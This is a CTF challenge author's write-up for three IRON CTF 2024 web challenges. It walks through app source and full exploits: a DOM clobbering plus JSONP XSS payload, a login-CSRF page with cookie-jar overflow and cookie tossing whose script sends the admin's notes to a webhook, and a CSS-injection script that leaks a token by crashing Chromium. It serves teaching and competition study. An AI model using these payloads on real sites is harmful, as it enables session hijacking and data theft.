IRON CTF 2024 Writeup
Description
As a member of Team 1nf1n1ty, I developed several intresting web challenges for IRON CTF 2024. These challenges focused on browser side-channel attacks, cookie tossing, CSRF, CSS injection, and various client-side vulnerabilities.
Here’s a list of the challenges which I developed in Web.
Challenge | Category | Solves (1033 teams) |
---|---|---|
Hiring Platform | Web | 3 |
Secret Notes | Web | 2 |
Beautiful Buttons | Web | 0 |
Web/Hiring Platform
Handout for the following challenge includes these files
Lets take a look at important files Lets see the app.py
# /*****************/
# Setup and mongodb connection
# /*****************/
@app.after_request
def set_csp_headers(response):
response.headers['Content-Security-Policy'] = "default-src 'none'; script-src 'self' ; style-src 'self' 'unsafe-inline' ; img-src *;"
return response
@app.route('/register', methods=['GET', 'POST'])
def register():
if 'user' in session:
return redirect(url_for('profile'))
not_logged_in=True
if request.method == 'POST':
name = request.form['name']
email = request.form['email']
password = request.form['password']
interview_code = request.form.get('interview_code')
invite_key = request.form.get('invite_code')
# Check if user with given email already exists
if users_collection.find_one({'email': email}):
return "User with this email already exists!"
if len(password) < 8:
return "Password should be atleast 8 characters."
# Hash the password before saving it
hashed_password = generate_password_hash(password)
# Create a new user document
user_data = {
'name': name,
'email': email,
'hash_password': hashed_password,
}
# Add interview code if provided
if interview_code and INVITE_KEY == invite_key :
user_data['role'] = 'recruiter'
user_data["interview_code"] = interview_code
else:
user_data['role'] = 'human'
user_data["interview_code"] = "NONE"
# Insert the user into the database
users_collection.insert_one(user_data)
return redirect(url_for('login'))
return render_template('register.html', not_logged_in=not_logged_in)
@app.route('/recruiter/select', methods=['POST'])
def select_human():
print(session)
if 'user' in session:
try:
user_email = b64decode(request.form["email"]).decode()
except:
return "ERROR decoding email..."
admin_user = users_collection.find_one({'email': session["user"]})
if admin_user and admin_user['role'] == 'recruiter':
if request.method == "POST":
if request.form.get("remark") == "SELECT NOW!!":
selections_collection.insert_one({
'email': user_email,
'interview_link': FLAG
})
else:
selections_collection.insert_one({
'email': user_email,
'interview_link': admin_user["interview_code"]
})
return "Success"
else:
return "Access denied. Only recruiters can access this page."
else:
return redirect(url_for('login'))
@app.route('/portfolio/create', methods=['GET', 'POST'])
def create_portfolio():
if 'user' in session:
email = session['user']
user = users_collection.find_one({'email': email})
if user and user.get('role') == 'human':
if request.method == 'POST':
session_email = session['user']
user = users_collection.find_one({'email': session_email})
if user:
title = request.form.get('title')
portfolio_content = request.form.get('portfolio_content')
portfolio_collection.insert_one({
'portfolio_id':uuid4().hex,
'email': session_email,
'title': title,
'portfolio_content': b64encode(portfolio_content.encode("utf-8")).decode("utf-8")
})
return redirect(url_for('profile'))
else:
return "User not found"
if 'user' in session:
return render_template('create_portfolio.html')
else:
return redirect(url_for('login'))
else:
return redirect(url_for('profile'))
else:
return redirect(url_for('login'))
In this application, users can register and create portfolios using HTML and CSS, which are displayed on a shareable portfolio page. From the code, we can see that only recruiters
have the privilege to shortlist portfolios. The flag can be accessed at the /profile/shortlisted
endpoint if a recruiter sends a request to /recruiter/select
with the remark
parameter set to SELECT NOW!!
.
The application enforces a strict Content Security Policy (CSP) to prevent direct XSS attacks. The CSP specifies script-src 'self'
, meaning only JavaScript from the same domain can run, but it also allows jsonp
. In the description, the /blog
page is highlighted, which is a WordPress site. WordPress typically has JSONP endpoints, such as /blog/wp-json/wp/v2/users/1?_jsonp=alert
.
// var PRODUCTION = true
let portfolio = document.querySelector(".portfolio-block");
portfolio.innerHTML = atob(portfolio.innerHTML)
portfolio.classList.remove("nodisplay");
portfolio = document.querySelector(".portfolio-block");
portfolio.innerHTML = portfolio.innerHTML.replace(/<script\b[^>]*><\/script>/gi, "")
if (PRODUCTION) {
const formContainer = document.querySelector(".selectionForm");
const user = document.querySelector("#email").innerHTML
formContainer.innerHTML = `<form method="post" action="/recruiter/select" id="select_humans">
<input type="text" name="email" value="${btoa(user)}" hidden>
<input type="submit" value="Call for interview">
</form>`
}
The recruiter.js
file has a regex that strips out script tags, and any HTML entered is applied via innerHTML
. Even though script tags can’t be used directly in innerHTML
, an XSS attack can be triggered by injecting a script into the srcdoc
attribute of an iframe, using a newline between <script>
tags (<script>\n</script>
).
Additionally, there’s a variable in recruiter.js
initially not set, which can be manipulated by DOM clobbering with an <a id=PRODUCTION>
element. This activates production mode and makes the submit button visible. Once the button appears, we can add a remark
parameter with the value SELECT NOW!!
using an input element, such as <input type="text" name="remark" value="SELECT NOW!!" form="select_humans">
, to send the key-value pair to the form with the ID select_humans
.
By using the JSONP endpoint, you can click on the form submit button trigging a request to /recruiter/select
, for example:
<iframe srcdoc="<script src='/blog/wp-json/wp/v2/users/1?_jsonp=window.parent.document.body.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.submit'></script>"></iframe>
If executed correctly, the flag can be retrieved, and there are several ways to achieve this.
Final Payload
<a id="PRODUCTION"></a>
<input type="text" name="remark" value="SELECT NOW!!" form="select_humans">
<iframe srcdoc="<script src='/blog/wp-json/wp/v2/users/1?_jsonp=window.parent.document.body.firstElementChild.nextElementSibling.nextElementSibling.firstElementChild.submit'>
</script>"></iframe>
This final exploit enables production mode, sets the remark
field to SELECT NOW!!
for the form with id select_humans
, and the script inside the iframe triggers a submission by “clicking” the button.
Once you submit the portfolio to the bot it you will see the flag in /profile/shortlisted
endpoint
Flag: ironCTF{c4n_n0t_w4it_t0_hir3_y0u_h4ck3r!!}
Interestingly, this challenge has had three solves. Some players used a CSRF attack to solve it, which also worked because I forgot to implement CSRF protection on the endpoint! :)
Web/Secret Notes
Handout Contentes
You can check the full source code here
The application is a notes app with login, registration, and note-saving features as its main functionality.
Let’s check the source code for the application in app.py
. Here are some important parts that are interesting:
# /*****************/
# Setup and mongodb connection
# /*****************/
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
# /*****************/
# Code for registation
# /*****************/
users.insert_one(
{
"username": request.form["username"],
"password": hashpass,
"name": request.form["name"][:31], # <== 1
}
)
session["username"] = request.form["username"]
return redirect(url_for("profile"))
else:
flash("Username already exists! Try logging in.")
return redirect(url_for("register"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
users = mongo.db.users
login_user = users.find_one({"username": request.form["username"]})
if login_user:
if bcrypt.checkpw(
request.form["password"].encode("utf-8"), login_user["password"]
):
session["username"] = request.form["username"]
return redirect(url_for("profile")) # <== 2
flash("Invalid username/password combination")
return redirect(url_for("login"))
return render_template("login.html")
@app.route("/profile")
def profile():
if "username" in session:
login_user = mongo.db.users.find_one({"username": session["username"]})
if login_user:
return render_template("profile.html", name=login_user["name"], username=login_user["username"])
flash("Invalid username/password combination")
return redirect(url_for("login"))
flash("You need to log in first.")
return redirect(url_for("login"))
As you can see from the code above, the name
is stripped to 31 characters, and once the login is complete, the user is redirected to /profile
. This will be important for our exploit to work.
Now, let’s look at some injection points in the application. It seems that only the name
is being rendered in profile.html
.
Let’s take a look at the source of profile.html
.
{% extends "base.html" %}
{% block title %}Profile{% endblock %}
{% block content %}
<h1>Welcome, {{ username }}!</h1>
<img class="profile" alt={{ name }} src={{ url_for('static', filename='images/user.jpeg') }}></img>
<a class="btn" href="{{ url_for('create_notes') }}">
Create Notes
</a>
{% endblock %}
here the name
which we entered is given to alt
attribute but there is a
The difference between alt="{{ name }}"
and alt={{ name }}
in Jinja templates lies in how Jinja handles escaping of content.
-
alt="{{ name }}"
:
The double curly braces ({{ ... }}
) in Jinja are used for variable interpolation, and Jinja automatically escapes the output to prevent XSS (Cross-Site Scripting). In this case, Jinja would escape any potentially harmful characters (such as<
,>
,&
, etc.) in the value ofname
, making it safe to use in HTML attributes. For example, ifname
contains malicious content like"<script>alert(1)</script>"
, it will be rendered as<script>alert(1)</script>
, preventing XSS. -
alt={{ name }}
:
Without the quotes, this could lead to potential issues. Ifname
contains spaces, quotes, or any characters that aren’t valid in an unquoted HTML attribute, it might break the attribute or the entire tag. Additionally, ifname
contains malicious content, it may be interpreted as part of the HTML rather than being escaped. This opens the door for XSS attacks. For example, ifname
containsonerror="alert(1)"
, it could execute JavaScript code when the attribute is processed by the browser.
we can execute get xss now if we use \ src/onerror=alert(1)
(22 characters) as name when registering.
now lets have this in our mind
our goal is to get secret notes from the admin bot so let’s check the admin bot.
- If you send any link to it its visiting the site.
lets see the bot code
// This code is just for reference
const page = await browser.newPage();
await page.goto(urlToVisit, {
waitUntil: 'networkidle2',
});
await page.goto(`${CONFIG.APPURL}/login`, { waitUntil: 'networkidle2' });
await page.focus('input[name=username]');
await page.keyboard.type(CONFIG.ADMIN_USERNAME);
await page.focus('input[name=password]');
await page.keyboard.type(CONFIG.ADMIN_PASS);
await page.click('input[type="submit"]');
await sleep(1000)
await page.close()
Challenge Structure
-
Admin Bot Behavior: In typical XSS challenges, the admin bot visits the page first (after login). However, in this case, url which your given is visited first,and then the admin bot will login. so we need to be persistent with our attack
-
CSRF (Cross-Site Request Forgery):
- No CSRF Protection: The application lacks CSRF protection, meaning you can send requests from any site to the application’s
/login
endpoint. - Force Login To Attacker1 Account: You can create a malicious page with a hidden form that submits a login request to the
/login
endpoint of the application. When a victim visits this page, it triggers a login attempt, allowing you to log them into Attacker1 account. - Payload Execution: After the admin is logged into Attacker1 account, you can execute JavaScript payload present in Attacker1’s profile page.
- No CSRF Protection: The application lacks CSRF protection, meaning you can send requests from any site to the application’s
-
Cookie Tossing and Cookie Precedence:
- Cookie Jar: The browser stores cookies in a structure called the “cookie jar.” If too many cookies are set, old cookies are removed to make space for new ones.
- Removing Cookies: You can exploit this by adding more cookies to the jar, pushing out old cookies like the session cookie. This effectively logs the Attacker1 out by removing their session.
- we need this trick because we need to have our cookie in certain location only but not in all the locations.
- Setting Attacker2’s Session Cookie: By setting your own session cookie with a
Path
parameter pointing to/profile
, you can make the browser send Attacker2 cookie to the server whenever the admin visits their profile page. This happens because the cookie path takes precedence. - Flask & HttpOnly: While
HttpOnly
cookies cannot be accessed via JavaScript, Flask (or most web frameworks) doesn’t care about this flag when parsing request it will get the first cookie. The server accepts any valid cookie during requests, even if it’s notHttpOnly
with the namesession
.
-
Exploiting the Admin’s Profile Page:
- Cookie Path Precedence: When the admin visits
/profile
, the browser will send Attacker2 session cookie instead of admin’s, meaning the admin loads Attacker2 profile, which has our final step of the exploit. - It will open a window and retrive the flag form the
/notes
endpoint
- Cookie Path Precedence: When the admin visits
Steps Summarized
-
Log in to the Attacker1 account via a CSRF attack to exploit the XSS vulnerability on the profile page.
-
Use the XSS to perform a Cookie Jar Overflow attack, which overwrites the session cookie with a new session cookie belonging to Attacker2, but with the
Path
attribute set to/profile
. -
This new session cookie is for the Attacker2 account, which also contains the XSS payload. When the admin bot logs in and get redirected to
/profile
page, the browser sends Attacker2’s cookie instead of the admin’s session cookie, due to cookie path precedence. This triggers the XSS payload in Attacker2’s profile. -
Once the XSS is triggered, the payload can open the admin’s notes page, which will use the admin’s session cookie, allowing the exfiltration of the notes’ content.
The problem now is that we can’t use more than 31 characters, so we need to use a reference object to store our payload. Since the admin bot uses page.goto
, which means it changes the URL in the browser instead of opening a new tab, we can set window.name
to store our payload and use it later whenever needed.
Final exploit looks like
-
Register 2 accounts with name as
\ src/onerror=eval(window.name)
-
Use one account’s cookie in the place of
ATTACKER2_COOKIE
<html>
<body>
<form action="https://secret-notes.1nf1n1ty.team/login" method="POST">
<input type="hidden" name="username" value="<ATTACKER1_USERNAME>" />
<input type="hidden" name="password" value="<ATTACKER1_PASSWORD>" />
<input type="submit" value="Submit request" />
</form>
<script>
let url = "<WEBHOOKURL>"
let cookie = "<ATTACKER2_COOKIE>"
let part2 = 'let data = window.open("/notes");setInterval( function (){ data? window.location = `' + url + '?flag=${btoa(data.document.body.innerHTML)}`:console.log(data)}, 100)'
window.name = "for (let i = 0; i < 700; i++) {document.cookie = `cookie${i}=${i}; Secure`;} for (let i = 0; i < 700; i++) {document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;};document.cookie=`session="+cookie+"; path=/profile`;window.name='eval(atob(`" + btoa(part2) + "`))'"
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
if you host the following page on cloudflare or github pages and submit the url to admin you will get the flag to your webhook
https://WEBHOOK?flag=CjxoZWFkZXI+CjxuYXYgY2xhc3M9Im5hdmJhciI+CjxhIGhyZWY9Ii8iIGNsYXNzPSJuYXYtbGluayI+SG9tZTwvYT4KPGEgaHJlZj0iL3Byb2ZpbGUiIGNsYXNzPSJuYXYtbGluayI+UHJvZmlsZTwvYT4KPGEgaHJlZj0iL25vdGVzIiBjbGFzcz0ibmF2LWxpbmsiPk5vdGVzPC9hPgo8YSBocmVmPSIvbG9nb3V0IiBjbGFzcz0ibmF2LWxpbmsiPkxvZ291dDwvYT4KPC9uYXY+CjwvaGVhZGVyPgo8ZGl2IGNsYXNzPSJjb250ZW50Ij4KPGgxPk5vdGVzPC9oMT4KPGRpdiBjbGFzcz0ibm90ZXMiPgo8aDIgY2xhc3M9InRpdGxlIj5GTEFHPC9oMj4KPGRpdj5pcm9uQ1RGe0NTUkZfU0VMRlg1NV9DMDBraTNfdDA1czFuZ19jbzBraWVfcDR0aF9mTDRnfTwvZGl2Pgo8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgZGVmZXI9IiIgc3JjPSJodHRwczovL3N0YXRpYy5jbG91ZGZsYXJlaW5zaWdodHMuY29tL2JlYWNvbi5taW4uanMvdmNkMTVjYmU3NzcyZjQ5YzM5OWM2YTViYWJmMjJjMTI0MTcxNzY4OTE3NjAxNSIgaW50ZWdyaXR5PSJzaGE1MTItWnBzT21sUlFWNnk5MDdUSTBkS0JIcTlNZDI5bm5hRUlQbGtmODRybmFFUm5xNnp2V3ZQVXFyMmZ0OE0xYVMyOG9ONzJQZHJDelNqWTRVNlZhQXcxRVE9PSIgZGF0YS1jZi1iZWFjb249InsmcXVvdDtyYXlJZCZxdW90OzomcXVvdDs4Y2U3ZWNhNDk5MmIzZGJmJnF1b3Q7LCZxdW90O3ZlcnNpb24mcXVvdDs6JnF1b3Q7MjAyNC44LjAmcXVvdDssJnF1b3Q7ciZxdW90OzoxLCZxdW90O3NlcnZlclRpbWluZyZxdW90Ozp7JnF1b3Q7bmFtZSZxdW90Ozp7JnF1b3Q7Y2ZFeHRQcmkmcXVvdDs6dHJ1ZSwmcXVvdDtjZkw0JnF1b3Q7OnRydWV9fSwmcXVvdDt0b2tlbiZxdW90OzomcXVvdDtkMzIzOGNkMTNjYjY0ODFiYmYxZWQ0MGRlNmU5NmNkZiZxdW90OywmcXVvdDtiJnF1b3Q7OjF9IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KCg==
decoding the content gives the flag!!
<header>
<nav class="navbar">
<a href="/" class="nav-link">Home</a>
<a href="/profile" class="nav-link">Profile</a>
<a href="/notes" class="nav-link">Notes</a>
<a href="/logout" class="nav-link">Logout</a>
</nav>
</header>
<div class="content">
<h1>Notes</h1>
<div class="notes">
<h2 class="title">FLAG</h2>
<div>ironCTF{CSRF_SELFX55_C00ki3_t05s1ng_co0kie_p4th_fL4g}</div>
</div>
</div>
<script defer="" src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon="{"rayId":"8ce7eca4992b3dbf","version":"2024.8.0","r":1,"serverTiming":{"name":{"cfExtPri":true,"cfL4":true}},"token":"d3238cd13cb6481bbf1ed40de6e96cdf","b":1}" crossorigin="anonymous"></script>
Flag: ironCTF{CSRF_SELFX55_C00ki3_t05s1ng_co0kie_p4th_fL4g}
Web/Beautiful Buttons
This is a Button generator application which can generate Button and styles according to the input
with Sharable link lets see the source code
Main.js code which is being used to get the button data from the api
const link = new URL(window.location.href).pathname
const secretTokenHolder = document.querySelector(".container")
function getCookie(name) {
const nameEQ = `${name}=`;
const cookies = document.cookie.split(';');
for (let i = 0; i < cookies.length; i++) {
let cookie = cookies[i];
while (cookie.charAt(0) === ' ') cookie = cookie.substring(1);
if (cookie.indexOf(nameEQ) === 0) {
return decodeURIComponent(cookie.substring(nameEQ.length, cookie.length));
}
}
return null; // Return null if the cookie was not found
}
secretTokenHolder.setAttribute("secret", getCookie("token") ? getCookie("token") : "f00bar")
async function fetchButtonData(uuid) {
try {
const result = await fetch(`/button/${uuid}`);
const jsonData = await result.json();
return jsonData;
} catch (error) {
console.error("Error fetching button data:", error);
}
}
if (link.startsWith("/show/")) {
(async () => {
const button = await fetchButtonData(link.replace('/show/', ''));
const sheet = new CSSStyleSheet();
sheet.replaceSync(`
.btn_container{
width: 100%;
height: 100%;
}
.buttonstuff{
align-items: center;
display: flex;
justify-content: center;
}
button {
background-color: ${button.bgcolor};
font-size: ${button.size};
border-radius: ${button.borderRadius}px;
}`);
const host = document.querySelector("#button-preview");
const shadow = host.attachShadow({ mode: "open" });
shadow.adoptedStyleSheets = [sheet];
const btn_container = document.createElement("div");
const holder = document.createElement("div");
btn_container.classList = ["btn_container"]
holder.classList = ["buttonstuff"]
holder.innerHTML = `<button>${button.text}</button>`
btn_container.appendChild(holder)
shadow.appendChild(btn_container)
})();
}
This code takes a token which is a cookie value and sets it to a attribute called secret
on the .container
div if not it will use f00bar
and now the uuid is taken from the url and will it will get the button details from the server.
To display the button it uses Shadow DOM, Developers use Shadow DOM as part of Web Components to create encapsulated, reusable components with their own isolated DOM and styles. The Shadow DOM provides several key advantages, making it an essential tool for modern web development:
1. Encapsulation
-
DOM Isolation Elements inside the Shadow DOM are isolated from the global DOM. This means the internal structure of the component (HTML, CSS, JavaScript) is hidden from the rest of the page. It prevents outside interference, ensuring that styles and scripts within the Shadow DOM don’t affect the global DOM and vice versa.
-
Scoped CSS: CSS defined inside a Shadow DOM is scoped to the component, which prevents style leaks. External styles cannot affect the component’s internal styles, and the component’s styles won’t affect other parts of the page.
2. Preventing CSS and JavaScript Conflicts
-
When developing large applications or libraries, CSS and JavaScript can easily conflict between components or third-party libraries. Shadow DOM solves this problem by creating a boundary that isolates each component’s internal logic.
-
Components can include their own styles and scripts without worrying about naming conflicts (e.g., class names, IDs, variables).
Now that we have basics of what Shadow DOM is lets see what else we have in this challenge.
Server source code
// Imports
const TIMEOUT = 4500
const TokenLife = process.env.TOKEN_LIFE || 8000
const pdflimiter = rateLimit({
// Rate limiting requests to `/report` to 100 requests in a window of 8 mins
});
const flaglimiter = rateLimit({
// One chance to guess the correct `token` in the admin cookie
});
const checkAuthKey = (req, res, next) => {
// checking wether we have auth key
};
class AdminTokenManager {
// Token Manager code
}
const browser = puppeteer.launch({
headless: true,
args: [
'--disable-dev-shm-usage',
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-gpu',
'--no-gpu',
'--disable-default-apps',
'--disable-translate',
'--disable-device-discovery-notifications',
'--disable-software-rasterizer',
'--disable-xss-auditor',
"--start-maximized",
'--metrics-recording-only',
'--disable-sync',
'--no-first-run',
'--disable-extensions',
'--disable-background-networking',
],
});
const PlayerAdminToken = new AdminTokenManager(TokenLife * 60)
const app = express();
mongoose.connect(`${MONGODB_URL}buttonGenerator?authSource=admin`);
function isValid(uuid) {
const uuidV4Regex = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
return uuidV4Regex.test(uuid);
}
const buttonSchema = new mongoose.Schema({
id: { type: String, default: uuidv4 },
bgcolor: String,
text: String,
size: String,
borderRadius: String,
});
const Button = mongoose.model('Button', buttonSchema);
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('public'));
app.use((req, res, next) => {
// safe :)
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'none'; font-src 'none'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self';script-src-elem 'self' https://www.gstatic.com/recaptcha/releases/EGbODne6buzpTnWrrBprcfAY/recaptcha__en.js; frame-src https://www.google.com/");
next();
});
app.get('/', (req, res) => {
res.render('index');
});
app.post('/generate', async (req, res) => {
const { bgcolor, text, size, borderRadius } = req.body;
if (text > 20) {
res.status(400).send("BTN text too big.....")
}
const newButton = new Button({ bgcolor, text, size, borderRadius });
await newButton.save();
res.redirect(`/show/${newButton.id}`);
});
app.get('/show/:id', async (req, res) => {
res.render('index');
});
app.get('/button/:id', async (req, res) => {
const button = await Button.findOne({ id: req.params.id }).select('-_id -__v -id');
if (!button) {
return res.status(404).json({ "Error": 'Button not found' });
}
return res.json(button)
});
app.post("/report", checkAuthKey, pdflimiter, async (req, res) => {
const { post_id, auth_key } = req.body;
if (isValid(post_id)) {
const exists = Button.findOne({ id: post_id });
if (!exists) {
return res.status(404).json({ "Error": 'Button not found' });
}
const url = `http://localhost:${PORT}/show/${post_id}`
const [playerToken, _] = PlayerAdminToken.getTokenByUserID(auth_key)
const context = await (await browser).createBrowserContext();
try {
const page = await context.newPage();
await page.setViewport({ width: 1920, height: 1080 });
await page.setCookie({
name: "token",
httpOnly: false,
value: playerToken,
url: `http://localhost:${PORT}`
})
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: TIMEOUT
});
await page.pdf({
path: `pdfs/${post_id}.pdf`,
format: 'A4',
printBackground: true,
margin: {
top: '20px',
bottom: '20px',
left: '20px',
right: '20px'
}
});
await page.close()
await context.close()
fs.unlink(`pdfs/${post_id}.pdf`, (err) => {
if (err) {
console.error(`Error removing file: ${err.message}`);
}
});
return res.json({ "feedback": 'Not that great!!' });
} catch (error) {
await context.close()
if (error.message.includes('Navigation timeout')) {
console.error(`Navigation timed out by ${auth_key}: `, error.message);
} else {
console.error("An unexpected error occurred:", error);
}
return res.status(500).json({ "feedback": "Something went wrong!!" });
}
}
return res.json({ "Error": "Try Harder!!!!" })
})
app.post("/admin", checkAuthKey, flaglimiter, async (req, res) => {
const { UserAdminToken, auth_key } = req.body;
const [token, _] = PlayerAdminToken.getTokenByUserID(auth_key)
if (token === UserAdminToken) {
PlayerAdminToken.deleteToken(UserAdminToken);
return res.json({ "flag": FLAG })
}
return res.json({ "Error": "Try Harder!!!!" })
})
// Not related to challenge !!
app.post("/pow", async (req, res) => {
// CAPTCHA VERIFICATION
PlayerAdminToken.createToken(uniqueId);
res.send(`Registration successful! your apikey ${uniqueId}. You have to send this to /admin, /report, and it will be active for ${TokenLife / 1000} mins.`);
} catch (error) {
console.error('Error during reCAPTCHA verification:', error);
res.status(500).send('Internal Server Error');
}
})
app.get("/pow", async (req, res) => {
if (req.query.ttl) {
const [num, ttl] = PlayerAdminToken.getTokenByUserID(req.query.ttl)
if (num) {
const ttlsecs = (PlayerAdminToken.expirationTime - (Date.now() - ttl)) / (1000)
return res.json({ "ttl": `session will expire in ${ttlsecs} seconds.` })
}
return res.json({ "error": "Expired/ Not-registered" })
}
return res.render('pow', { key_site: process.env.RECAPTCHA_SITE });
})
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
We need to navigate to the /pow
route and complete a CAPTCHA challenge to obtain a UUID. This UUID is valid for a limited time, approximately 8 minutes, as defined by the TokenLife
. Once we have the UUID, a 6-character code will be generated based on it lets call it token. Whenever we send a post request to /report
with the UUID, a browser window will open, loading our page with the token is set in cookies.
The provided Content Security Policy (CSP) is considered strict for several reasons. Let’s break down the components of the policy to understand its strictness:
Overview of the CSP
default-src 'none';
script-src 'self';
style-src 'self';
img-src 'none';
font-src 'none';
connect-src 'self';
frame-ancestors 'none';
base-uri 'none';
form-action 'self';
script-src-elem 'self' https://www.gstatic.com/recaptcha/releases/EGbODne6buzpTnWrrBprcfAY/recaptcha__en.js;
frame-src https://www.google.com/
Explanation of Each Directive
-
default-src 'none';
- This directive sets the default policy for all content types to
none
, effectively blocking all resources from loading unless explicitly allowed by other directives.
- This directive sets the default policy for all content types to
-
script-src 'self';
- Only scripts from the same origin as the page can be executed. No inline scripts or scripts from external sources (except those specified) are allowed.
-
style-src 'self';
- Similar to scripts, only stylesheets from the same origin can be applied. This prevents the use of external styles.
-
img-src 'none';
- This directive prohibits loading any images, enhancing security by preventing potential attacks that exploit image loading.
-
font-src 'none';
- No fonts can be loaded from any source, ensuring that the page does not rely on external font resources.
-
connect-src 'self';
- Restricts the page to make connections (like AJAX requests) only to its own origin. This prevents connections to third-party services.
-
frame-ancestors 'none';
- This directive prevents the page from being embedded in any frames, protecting against clickjacking attacks.
-
base-uri 'none';
- Disallows the use of the
<base>
element, preventing the document from being redefined in a way that could compromise its origin.
- Disallows the use of the
-
form-action 'self';
- Limits form submissions to the same origin, mitigating the risk of cross-site request forgery (CSRF) attacks.
-
script-src-elem 'self' https://www.gstatic.com/recaptcha/releases/EGbODne6buzpTnWrrBprcfAY/recaptcha__en.js;
- This allows scripts only from the same origin or from a specified Google reCAPTCHA source. This is a controlled exception to the strict script policy.
-
frame-src https://www.google.com/
- Allows framing only from
https://www.google.com
, providing a specific exception for trusted sources, like Google, while maintaining restrictions on other sources.
- Allows framing only from
Overall, this CSP is strict because it minimizes the potential attack surface by:
- Allowing resources only from the same origin and a few explicitly defined sources.
- Blocking all resource types not specifically permitted, including images and fonts, which could be used for exploitation.
- Implementing protective measures against common attacks, such as clickjacking and CSRF.
Bypassing this CSP is not possible because it prevents the use of standard CSS injection techniques to exfiltrate the 6-character cookie stored in the secret
attribute of the div.container
.
If we look at the /generate
route, which handles button generation, we can see that there’s only a character limit on the button text, but no restrictions on anything else. This allows us to inject arbitrary styles into the CSSStyleSheet of Shadow DOM.
Example:
import requests
url = "https://beautiful-buttons.1nf1n1ty.team"
payload = """
#f0f0f0;
}
div{
background: #000;
}
p{
"""
data = {
"text": "1nf1n1ty",
"bgcolor": payload,
"borderRadius": "5",
}
response = requests.post(url + "/generate", data=data, allow_redirects=False)
post_url = response.headers["Location"]
print(url+post_url)
As you can see, we can modify the styles of the shadow DOM as desired.
To access the secret value from the shadow DOM, you can refer to a CSS pseudo-selector called :host-context()
(you can find more details here). This selector allows us to identify which element has specific attributes and their values. For instance, we can check whether the secret starts with the character “f” using this method. If the character is not present, the styles for the div will not be applied.
import requests
url = "https://beautiful-buttons.1nf1n1ty.team"
payload = """
#aaa;
}
:host-context(.container[secret^='f']) div{
background: #FF0000 !important;
}
p{
"""
data = {
"text": "1nf1n1ty",
"bgcolor": payload,
"borderRadius": "5",
}
response = requests.post(url + "/generate", data=data, allow_redirects=False)
post_url = response.headers["Location"]
print(url+post_url)
Lets check the /report
route.
app.post("/report", checkAuthKey, pdflimiter, async (req, res) => {
const { post_id, auth_key } = req.body;
if (isValid(post_id)) {
const exists = Button.findOne({ id: post_id });
if (!exists) {
return res.status(404).json({ "Error": 'Button not found' });
}
const url = `http://localhost:${PORT}/show/${post_id}`
const [playerToken, _] = PlayerAdminToken.getTokenByUserID(auth_key)
const context = await (await browser).createBrowserContext();
try {
const page = await context.newPage();
await page.setViewport({ width: 1920, height: 1080 });
await page.setCookie({
name: "token",
httpOnly: false,
value: playerToken,
url: `http://localhost:${PORT}`
})
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: TIMEOUT
});
await page.pdf({
path: `pdfs/${post_id}.pdf`,
format: 'A4',
printBackground: true,
margin: {
top: '20px',
bottom: '20px',
left: '20px',
right: '20px'
}
});
await page.close()
await context.close()
fs.unlink(`pdfs/${post_id}.pdf`, (err) => {
if (err) {
console.error(`Error removing file: ${err.message}`);
}
});
return res.json({ "feedback": 'Not that great!!' });
} catch (error) {
await context.close()
if (error.message.includes('Navigation timeout')) {
console.error(`Navigation timed out by ${auth_key}: `, error.message);
} else {
console.error("An unexpected error occurred:", error);
}
return res.status(500).json({ "feedback": "Something went wrong!!" });
}
}
return res.json({ "Error": "Try Harder!!!!" })
})
Now that we can apply styles based on the token characters, we can send the page to be reported. When this page is loaded, a PDF is generated and deleted, followed by a 200 OK response. However, if we can generate an error while loading the page, the /report
endpoint will return a 500 error. This means we need to either generate an error or trigger a timeout, which could involve making the page load for around 4.5 seconds or causing the browser to crash. For my solution, I will leverage an issue I found on issues.chromium.org where Chromium hangs (entering an infinite loop and eventually crashing due to out-of-memory) when using CSS 3 columns with an image(Need not be a image) wider than the column width.
POC will look like this
<!doctype html>
<html>
<head>
<style>
.btnholder {
border-bottom: 0;
border-top: 0;
text-indent: 1.5em;
margin: 0;
padding: 0;
}
button {
display: block;
float: left;
height: 998px;
width: 822px;
}
</style>
</head>
<body>
<div style="column-width: 598px; column-gap: 40px">
<div class="btnholder">
<button></button>
<br>
</div>
</div>
</body>
</html>
Using the following CSS and HTML structure, we can crash the browser if the character matches a specific one. The script below facilitates exploitation by exfiltrating the token and retrieving the flag.
import requests
url = "https://beautiful-buttons.1nf1n1ty.team"
characters = "1234567890abcdef"
admintoken = ""
auth_key = "<AUTH_KEY>"
notworking = False
ttl_start = requests.get(url + "/pow?ttl=" + auth_key)
token_size = 6
total = 0
for j in range(token_size - len(admintoken)):
ttl = requests.get(url + "/pow?ttl=" + auth_key)
print(f"{ttl.text}")
if notworking:
break
for i in characters:
total+=1
payload = (
"""#000000;display: block;float: left;width: 822px;height: 998px;} :host-context(.container[secret^='"""
+ admintoken
+ i
+ """']) .btn_container{column-width: 598px !important; column-gap: 40px;}.buttonstuff{ text-indent: 1.5em;display: block !important;margin: 0;padding: 0;border-bottom: 0;}p{color: #000","size": "small"""
)
data = {
"text": "</button><br><!--",
"bgcolor": payload,
"borderRadius": "5",
}
response = requests.post(url + "/generate", data=data, allow_redirects=False)
post_url = response.headers["Location"]
post_url = post_url.replace("/show/", "")
print(f"{(admintoken+i).ljust(token_size, '_')}")
